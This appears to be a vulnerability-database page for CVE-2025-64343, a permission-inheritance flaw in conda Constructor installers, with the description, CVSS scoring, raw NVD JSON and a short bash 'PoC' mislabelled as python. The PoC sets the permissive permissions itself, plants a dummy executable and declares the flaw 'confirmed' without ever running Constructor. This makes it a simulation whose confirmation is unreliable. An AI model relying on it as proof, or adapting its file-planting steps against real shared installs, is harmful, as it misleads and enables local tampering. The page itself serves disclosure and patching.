Security Vulnerability Report
中文
CVE-2025-64343 CVSS 7.8 HIGH

CVE-2025-64343

Published: 2025-11-07 06:15:34
Last Modified: 2026-04-15 00:35:42

Description

(conda) Constructor is a tool that enables users to create installers for conda package collections. In versions 3.12.2 and below, the installation directory inherits permissions from its parent directory. Outside of restricted directories, the permissions are very permissive and often allow write access by authenticated users. Any logged in user can make modifications during the installation for both single-user and all-user installations. This constitutes a local attack vector if the installation is in a directory local users have access to. For single-user installations in a shared directory, these permissions persist after the installation. This issue is fixed in version 3.13.0.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Constructor < 3.13.0
Constructor <= 3.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-64343 PoC - Constructor Permission Inheritance Vulnerability # This PoC demonstrates how an attacker can exploit the permission inheritance issue TARGET_DIR="/tmp/constructor_install" EXPLOIT_MARKER="exploit_successful" echo "[*] CVE-2025-64343 Constructor Permission Exploitation PoC" echo "[*] Target: Constructor <= 3.12.2" # Step 1: Create a directory with permissive parent permissions mkdir -p "$TARGET_DIR" chmod 777 "$TARGET_DIR" echo "[+] Created target directory with permissive permissions: $TARGET_DIR" ls -ld "$TARGET_DIR" # Step 2: Simulate Constructor installation behavior # In vulnerable versions, subdirectories inherit parent permissions INSTALL_SUBDIR="$TARGET_DIR/envs" mkdir -p "$INSTALL_SUBDIR" echo "[+] Created installation subdirectory (inherits parent permissions)" PERMS=$(stat -c "%a" "$INSTALL_SUBDIR") echo "[+] Subdirectory permissions: $PERMS (inherited from parent)" # Step 3: Demonstrate exploitation # Check if we can write to the directory (simulating attacker perspective) if [ -w "$INSTALL_SUBDIR" ]; then echo "[+] EXPLOIT SUCCESSFUL: Attacker can write to installation directory" # Create marker to demonstrate file creation ability touch "$INSTALL_SUBDIR/$EXPLOIT_MARKER" echo "[+] Created marker file in target directory" # Demonstrate ability to modify binaries echo "malicious_content" > "$INSTALL_SUBDIR/test_binary" chmod +x "$INSTALL_SUBDIR/test_binary" echo "[+] Created and made executable malicious file" ls -la "$INSTALL_SUBDIR/" echo "[✓] Vulnerability confirmed: Local user can manipulate installation" else echo "[-] Exploitation failed: Directory not writable" fi # Cleanup echo "[*] Cleaning up..." rm -rf "$TARGET_DIR"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64343", "sourceIdentifier": "[email protected]", "published": "2025-11-07T06:15:33.673", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "(conda) Constructor is a tool that enables users to create installers for conda package collections. In versions 3.12.2 and below, the installation directory inherits permissions from its parent directory. Outside of restricted directories, the permissions are very permissive and often allow write access by authenticated users. Any logged in user can make modifications during the installation for both single-user and all-user installations. This constitutes a local attack vector if the installation is in a directory local users have access to. For single-user installations in a shared directory, these permissions persist after the installation. This issue is fixed in version 3.13.0."}, {"lang": "es", "value": "Constructor es una herramienta que permite a los usuarios crear instaladores para colecciones de paquetes conda. En las versiones 3.12.2 e inferiores, el directorio de instalación hereda los permisos de su directorio padre. Fuera de los directorios restringidos, los permisos son muy permisivos y a menudo permiten el acceso de escritura por parte de usuarios autenticados. Cualquier usuario con sesión iniciada puede realizar modificaciones durante la instalación, tanto para instalaciones de un solo usuario como para instalaciones de todos los usuarios. Esto constituye un vector de ataque local si la instalación se encuentra en un directorio al que los usuarios locales tienen acceso. Para instalaciones de un solo usuario en un directorio compartido, estos permisos persisten después de la instalación. Este problema se corrige en la versión 3.13.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "references": [{"url": "https://github.com/conda/constructor/commit/c368383710a7c2b81ad1b0ecb9724b38d3577447", "source": "[email protected]"}, {"url": "https://github.com/conda/constructor/releases/tag/3.13.0", "source": "[email protected]"}, {"url": "https://github.com/conda/constructor/security/advisories/GHSA-vvpr-2qg4-2mrq", "source": "[email protected]"}]}}